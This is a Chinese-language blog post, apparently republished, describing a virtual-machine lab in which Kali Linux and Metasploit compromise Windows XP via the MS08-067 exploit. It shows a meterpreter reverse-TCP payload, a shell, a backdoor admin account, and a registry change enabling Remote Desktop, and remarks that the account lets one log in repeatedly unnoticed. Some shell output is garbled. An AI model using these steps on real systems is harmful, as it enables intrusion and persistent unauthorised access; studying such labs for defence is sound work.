當(dāng)前位置：首頁 > 运维知识 > windows >内容正文

windows

kali入侵windows

發(fā)布時(shí)間：2025/7/14 windows 57 豆豆

生活随笔收集整理的這篇文章主要介紹了 kali入侵windows 小編覺得挺不錯(cuò)的,現(xiàn)在分享給大家,幫大家做個(gè)參考.

因?yàn)槲沂且粋€(gè)愛好和平的人（捂嘴笑），所以就在虛擬機(jī)中，創(chuàng)建二個(gè)系統(tǒng)，一個(gè)kali，一個(gè)windows xp，來進(jìn)行這次入侵實(shí)驗(yàn)，以此邁入hacke的大門。

####實(shí)驗(yàn)環(huán)境 ![實(shí)驗(yàn)環(huán)境.jpg](http://upload-images.jianshu.io/upload_images/4976516-daae4fea5636c8d4.jpg?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240)

####試驗(yàn)工具 kaili linux 百度百科其預(yù)裝了許多試驗(yàn)工具，包括nmap 、Wireshark 、John the Ripper ,以及Aircrack-ng.[2] 用戶可通過硬盤、live CD或live USB運(yùn)行Kali Linux。
Metasploit 百度百科 Metasploit是一個(gè)免費(fèi)的、可下載的框架，通過它可以很容易地獲取、開發(fā)并對(duì)計(jì)算機(jī)軟件漏洞實(shí)施攻擊。它本身附帶數(shù)百個(gè)已知軟件漏洞的專業(yè)級(jí)漏洞攻擊工具。

###知識(shí)點(diǎn)綜述 1.0 熟悉虛擬機(jī)vmware的相關(guān)知識(shí)，因?yàn)楸经h(huán)境是在VM中進(jìn)行的，需要安裝kaili linux和windows xp，以及設(shè)計(jì)虛擬機(jī)網(wǎng)絡(luò)，其可以參考文章:[vmware14.0知識(shí)點(diǎn)手冊](http://www.jianshu.com/p/91c409b8ce79). 2.0 計(jì)算機(jī)網(wǎng)絡(luò)相關(guān)知識(shí)點(diǎn)。 **2.1 vmware的虛擬網(wǎng)絡(luò)** >與物理交換機(jī)相似，虛擬交換機(jī)也能將網(wǎng)絡(luò)連接組件連接在一起。虛擬交換機(jī)又稱為虛擬網(wǎng)絡(luò)，其名稱為VMnet0、VMnet1、VMnet2，以此類推。有少量虛擬交換機(jī)會(huì)默認(rèn)映射到特定網(wǎng)絡(luò)。

橋接模式網(wǎng)絡(luò)連接 橋接模式網(wǎng)絡(luò)連接通過使用主機(jī)系統(tǒng)上的網(wǎng)絡(luò)適配器將虛擬機(jī)連接到網(wǎng)絡(luò)

NAT 模式網(wǎng)絡(luò)連接 使用 NAT 模式網(wǎng)絡(luò)時(shí)，虛擬機(jī)在外部網(wǎng)絡(luò)中不必具有自己的 IP 地址。主機(jī)系統(tǒng)上會(huì)建立單獨(dú)的專用網(wǎng)絡(luò)。

僅主機(jī)模式網(wǎng)絡(luò)連接 僅主機(jī)模式網(wǎng)絡(luò)連接可創(chuàng)建完全包含在主機(jī)中的網(wǎng)絡(luò)。

2.2 IP（這里是ipv4）地址分類，網(wǎng)絡(luò)類型。

ip地址，由《net-id,host-id》二部分組成。根據(jù)網(wǎng)絡(luò)號(hào)的位數(shù)，把ip劃分為A,B,C,D,E幾大類，其中A類(0,127),B類(128,191),C類(192,223)

3.0 VMWare虛擬機(jī)提供的橋接、nat和主機(jī)模式的區(qū)別

所以本次試驗(yàn)的虛擬機(jī)網(wǎng)絡(luò)采用橋接方式，所以主要介紹下橋接。
bridged(橋接模式) 在這種模式下，VMWare虛擬出來的操作系統(tǒng)就像是局域網(wǎng)中的一臺(tái)獨(dú)立的主機(jī)，它可以訪問網(wǎng)內(nèi)任何一臺(tái)機(jī)器。在橋接模式下，因?yàn)槭仟?dú)立的主機(jī)系統(tǒng)，那么就需要為虛擬系統(tǒng)配置IP、子網(wǎng)掩碼。使用橋接模式的虛擬系統(tǒng)和宿主機(jī)器的關(guān)系，就像連接在同一個(gè)Hub上的兩臺(tái)電腦。想讓它們相互通訊，你就需要為虛擬系統(tǒng)配置IP地址和子網(wǎng)掩碼，否則就無法通信。而且還要和宿主機(jī)器處于同一網(wǎng)段，這樣虛擬系統(tǒng)才能和宿主機(jī)器進(jìn)行通信。

###重要細(xì)節(jié) 1.0 **因?yàn)樵趘mware模擬kaili入侵windows xp所以要保證這二臺(tái)虛擬機(jī)可以通信，試驗(yàn)的vmware采用橋接網(wǎng)絡(luò)，二臺(tái)虛擬機(jī)相當(dāng)于獨(dú)立的主機(jī)，在vmware想要通信，必須處于同一網(wǎng)段（就是網(wǎng)絡(luò)號(hào)要一樣），二臺(tái)主機(jī)設(shè)置kaili設(shè)置為192.168.201.133,windows xp設(shè)置為192.168.201.135,它們是C類ip，前3位是網(wǎng)絡(luò)號(hào)，都是192.168.201相同，可以通信，可以采用ping命令進(jìn)行。** 2.0 **為了試驗(yàn)效果明顯，最好關(guān)閉掉windows的防火墻，這樣入侵更容易，而且自己原本的主機(jī)把殺毒軟件也關(guān)閉了。**

###入侵開始 **1.0 查看linux的ip地址** ``` root@kali:~# ifconfig eth0: flags=4163 mtu 1500 inet 192.168.201.133 netmask 255.255.255.0 broadcast 192.168.201.255 inet6 fe80::20c:29ff:fecc:87cf prefixlen 64 scopeid 0x20 ether 00:0c:29:cc:87:cf txqueuelen 1000 (Ethernet) RX packets 30 bytes 2530 (2.4 KiB) RX errors 0 dropped 5 overruns 0 frame 0 TX packets 51 bytes 3303 (3.2 KiB) TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0

lo: flags=73<UP,LOOPBACK,RUNNING> mtu 65536 inet 127.0.0.1 netmask 255.0.0.0 inet6 ::1 prefixlen 128 scopeid 0x10 loop txqueuelen 1000 (Local Loopback) RX packets 52 bytes 3756 (3.6 KiB) RX errors 0 dropped 0 overruns 0 frame 0 TX packets 52 bytes 3756 (3.6 KiB) TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0

>**這里可以看出我的ip地址為192.168.201.133。如果想要修改ip地址可以采用 ifconfig eth0 192.168.201.136 命令**<br> **其中127.0.0.1 127.0.0.1是[回送地址](https://baike.baidu.com/item/%E5%9B%9E%E9%80%81%E5%9C%B0%E5%9D%80)，指本地機(jī)，一般用來測試使用。回送地址（127.x.x.x）是本機(jī)回送地址（Loopback Address），即[主機(jī)](https://baike.baidu.com/item/%E4%B8%BB%E6%9C%BA)IP[堆棧](https://baike.baidu.com/item/%E5%A0%86%E6%A0%88)內(nèi)部的IP地址，主要用于網(wǎng)絡(luò)軟件測試以及本地機(jī)[進(jìn)程間通信](https://baike.baidu.com/item/%E8%BF%9B%E7%A8%8B%E9%97%B4%E9%80%9A%E4%BF%A1)，無論什么程序，一旦使用回送地址發(fā)送數(shù)據(jù)，協(xié)議軟件立即返回，不進(jìn)行任何網(wǎng)絡(luò)傳輸。****2.0 ping命令,測試linux和windows是否可以通信** 復(fù)制代碼

root@kali:~# ping -c 2 192.168.201.135 PING 192.168.201.135 (192.168.201.135) 56(84) bytes of data. 64 bytes from 192.168.201.135: icmp_seq=1 ttl=128 time=13.5 ms 64 bytes from 192.168.201.135: icmp_seq=2 ttl=128 time=0.395 ms

--- 192.168.201.135 ping statistics --- 2 packets transmitted, 2 received, 0% packet loss, time 1002ms rtt min/avg/max/mdev = 0.395/6.986/13.578/6.592 ms

**linux的ping和windows有所不同，如果不設(shè)置次數(shù)會(huì)一直ping下**去。復(fù)制代碼

root@kali:~# ping Usage: ping [-aAbBdDfhLnOqrRUvV64] [-c count] [-i interval] [-I interface] [-m mark] [-M pmtudisc_option] [-l preload] [-p pattern] [-Q tos] [-s packetsize] [-S sndbuf] [-t ttl] [-T timestamp_option] [-w deadline] [-W timeout] [hop1 ...] destination

**3.0 開啟SQL數(shù)據(jù)庫服務(wù)** 復(fù)制代碼

root@kali:~# service postgresql start

**4.0 終端執(zhí)行msfconsole 命令** 復(fù)制代碼

root@kali:~# msfconsole

cowsay++

< metasploit >

\ ,__,\ (oo)____(__) )\||--|| *=[ metasploit v4.16.6-dev ] 復(fù)制代碼

-- --=[ 1682 exploits - 964 auxiliary - 297 post ]
-- --=[ 498 payloads - 40 encoders - 10 nops ]
-- --=[ Free Metasploit Pro trial: http://r-7.co/trymsp ]

>**使用help命令查看其參數(shù)和用法** 復(fù)制代碼

msf > help

Core Commands

Command Description ------- ----------- ? Help menu banner Display an awesome metasploit banner cd Change the current working directory color Toggle color connect Communicate with a host exit Exit the console get Gets the value of a context-specific variable getg Gets the value of a global variable grep Grep the output of another command help Help menu history Show command history irb Drop into irb scripting mode load Load a framework plugin quit Exit the console route Route traffic through a session save Saves the active datastores sessions Dump session listings and display information about sessions set Sets a context-specific variable to a value setg Sets a global variable to a value sleep Do nothing for the specified number of seconds spool Write console output into a file as well the screen threads View and manipulate background threads unload Unload a framework plugin unset Unsets one or more context-specific variables unsetg Unsets one or more global variables version Show the framework and console library version numbers 復(fù)制代碼

Module Commands

Command Description ------- ----------- advanced Displays advanced options for one or more modules back Move back from the current context edit Edit the current module with the preferred editor info Displays information about one or more modules loadpath Searches for and loads modules from a path options Displays global options or for one or more modules popm Pops the latest module off the stack and makes it active previous Sets the previously loaded module as the current module pushm Pushes the active or list of modules onto the module stack reload_all Reloads all modules from all defined module paths search Searches module names and descriptions show Displays modules of a given type, or all modules use Selects a module by name 復(fù)制代碼

Job Commands

Command Description ------- ----------- handler Start a payload handler as job jobs Displays and manages jobs kill Kill a job rename_job Rename a job 復(fù)制代碼

Resource Script Commands

Command Description ------- ----------- makerc Save commands entered since start to a file resource Run the commands stored in a file 復(fù)制代碼

Database Backend Commands

Command Description ------- ----------- db_connect Connect to an existing database db_disconnect Disconnect from the current database instance db_export Export a file containing the contents of the database db_import Import a scan result file (filetype will be auto-detected) db_nmap Executes nmap and records the output automatically db_rebuild_cache Rebuilds the database-stored module cache db_status Show the current database status hosts List all hosts in the database loot List all loot in the database notes List all notes in the database services List all services in the database vulns List all vulnerabilities in the database workspace Switch between database workspaces 復(fù)制代碼

Credentials Backend Commands

Command Description ------- ----------- creds List all credentials in the database 復(fù)制代碼 **5.0 運(yùn)行search netapi命令搜索netapi，在metasploip框架中列出所有與netapi相關(guān)的漏洞利用代碼** 復(fù)制代碼

msf > search netapi

Matching Modules

Name Disclosure Date Rank Description

exploit/windows/smb/ms03_049_netapi 2003-11-11 good MS03-049 Microsoft Workstation Service NetAddAlternateComputerName Overflow exploit/windows/smb/ms06_040_netapi 2006-08-08 good MS06-040 Microsoft Server Service NetpwPathCanonicalize Overflow exploit/windows/smb/ms06_070_wkssvc 2006-11-14 manual MS06-070 Microsoft Workstation Service NetpManageIPCConnect Overflow exploit/windows/smb/ms08_067_netapi 2008-10-28 great MS08-067 Microsoft Server Service Relative Path Stack Corruption

>**可以看到最后一個(gè)漏洞利用代碼的評(píng)級(jí)為great，所以優(yōu)先使用ms08_067_netapi。** **show tagrgets可以查看攻擊平臺(tái)** **show opinions可以查看攻擊需要設(shè)置那些參數(shù)** **show payloads可以查看使用的攻擊載荷****6.0使用 use exploit/windows/smb/ms08_067_netapi ,設(shè)置參數(shù)** 復(fù)制代碼

msf > use exploit/windows/smb/ms08_067_netapi

msf exploit(ms08_067_netapi) > set rhost 192.168.201.135 rhost => 192.168.201.135 msf exploit(ms08_067_netapi) > check [+] 192.168.201.135:445 The target is vulnerable. msf exploit(ms08_067_netapi) > set lhost 192.168.201.133 lhost => 192.168.201.133 msf exploit(ms08_067_netapi) > set target 34 msf exploit(ms08_067_netapi) > set payload windows/meterpreter/reverse_tcp_allports payload => windows/meterpreter/reverse_tcp_allports

msf exploit(ms08_067_netapi) > exploit [] Started reverse TCP handler on 192.168.201.133:1 [] 192.168.201.135:445 - Attempting to trigger the vulnerability... [] Sending stage (179267 bytes) to 192.168.201.135 [] Meterpreter session 1 opened (192.168.201.133:1 -> 192.168.201.135:1031) at 2017-10-27 23:03:20 +0800

>**set rhost是設(shè)置目標(biāo)主機(jī)ip** **setset lhost設(shè)置本機(jī)ip** **set payload設(shè)置攻擊載荷** **exploit，是實(shí)行攻擊，如果成功，會(huì)得到一個(gè)session，可以使用meterpreter模板進(jìn)一步提取****7.0 輸入shell，獲取受控zhuji的shel，我這里是windows的dos。** 復(fù)制代碼

meterpreter > shell Process 1968 created. Channel 1 created. Microsoft Windows XP [錕芥本 5.1.2600] (C) 錕斤拷權(quán)錕斤拷錕斤拷 1985-2001 Microsoft Corp.

C:\WINDOWS\system32>net user ztg 123456 /add net user ztg 123456 /add 錕絞伙拷錕窖撅拷錕斤拷錕節(jié)★拷

錕斤拷錕斤拷錕斤拷 NET HELPMSG 2224 錕皆伙拷錕矯革拷錕斤拷錕僥幫拷錕斤拷錕斤拷

C:\WINDOWS\system32>net localgroup administrators ztg /add net localgroup administrators ztg /add 錕斤拷錕斤拷系統(tǒng)錕斤拷錕斤拷 1378錕斤拷

錕斤拷錕斤拷錕絞伙拷錕斤拷錕斤拷錕角憋拷錕斤拷錕斤拷錕僥籌拷員錕斤拷

C:\WINDOWS\system32>REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 0 /f REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 0 /f

錕斤拷錕斤拷錕繳癸拷錕斤拷錕斤拷

C:\WINDOWS\system32>netstat -an netstat -an

Active Connections

Proto Local Address Foreign Address State TCP 0.0.0.0:135 0.0.0.0:0 LISTENING TCP 0.0.0.0:445 0.0.0.0:0 LISTENING TCP 0.0.0.0:3389 0.0.0.0:0 LISTENING TCP 127.0.0.1:1026 0.0.0.0:0 LISTENING TCP 192.168.201.135:139 0.0.0.0:0 LISTENING TCP 192.168.201.135:1031 192.168.201.133:1 ESTABLISHED UDP 0.0.0.0:445 :
UDP 0.0.0.0:500 :
UDP 0.0.0.0:4500 :
UDP 127.0.0.1:123 :
UDP 127.0.0.1:1025 :
UDP 127.0.0.1:1900 :
UDP 192.168.201.135:123 :
UDP 192.168.201.135:137 :
UDP 192.168.201.135:138 :
UDP 192.168.201.135:1900 :

C:\WINDOWS\system32>ipconfig -all ipconfig -all

Windows IP Configuration

Host Name . . . . . . . . . . . . : dflxPrimary Dns Suffix . . . . . . . : Node Type . . . . . . . . . . . . : UnknownIP Routing Enabled. . . . . . . . : NoWINS Proxy Enabled. . . . . . . . : No 復(fù)制代碼

Ethernet adapter 錕斤拷錕斤拷錕斤拷錕斤拷:

Connection-specific DNS Suffix . : Description . . . . . . . . . . . : VMware Accelerated AMD PCNet AdapterPhysical Address. . . . . . . . . : 00-0C-29-04-23-53Dhcp Enabled. . . . . . . . . . . : NoIP Address. . . . . . . . . . . . : 192.168.201.135Subnet Mask . . . . . . . . . . . : 255.255.255.0Default Gateway . . . . . . . . . : 復(fù)制代碼 >**進(jìn)入windows界面，dos大神可以暢通無阻了，不過如果喜歡windows界面，可以安裝上面的方法，進(jìn)行操作，在遠(yuǎn)程桌面。** ```C:\WINDOWS\system32>net user ztg 123456 /add net user ztg 123456 /add 復(fù)制代碼

添加一個(gè)用戶名為ztg，密碼123456

C:\WINDOWS\system32>net localgroup administrators ztg /add net localgroup administrators ztg /add 復(fù)制代碼

把ztg添加到管理員用戶組

是手動(dòng)開啟3389（遠(yuǎn)程桌面連接端口）

>#####在利用遠(yuǎn)程桌面，登陸別人的電腦，進(jìn)行相關(guān)的操作了。告訴你一個(gè)小細(xì)節(jié)，在目標(biāo)機(jī)中會(huì)出現(xiàn)你建立的管理員賬號(hào)喔，可以多少遠(yuǎn)程登錄了，只要對(duì)方?jīng)]有發(fā)現(xiàn)。 **有沒有人來黑我一下啊（捂嘴笑）。我的ip：127.0.0.1，系統(tǒng)是windows 10 64位家庭版。** >哎，這幾天沒有跑步，今天早上終于跑了，感冒了一整個(gè)十月，現(xiàn)在還在感冒中，哭死，哭死。

總結(jié)

以上是生活随笔為你收集整理的kali入侵windows的全部內(nèi)容，希望文章能夠幫你解決所遇到的問題。

如果覺得生活随笔網(wǎng)站內(nèi)容還不錯(cuò)，歡迎將生活随笔推薦給好友。

windows
kali

上一篇： Spring Boot(四)：利用dev
下一篇：操作系统级虚拟化概述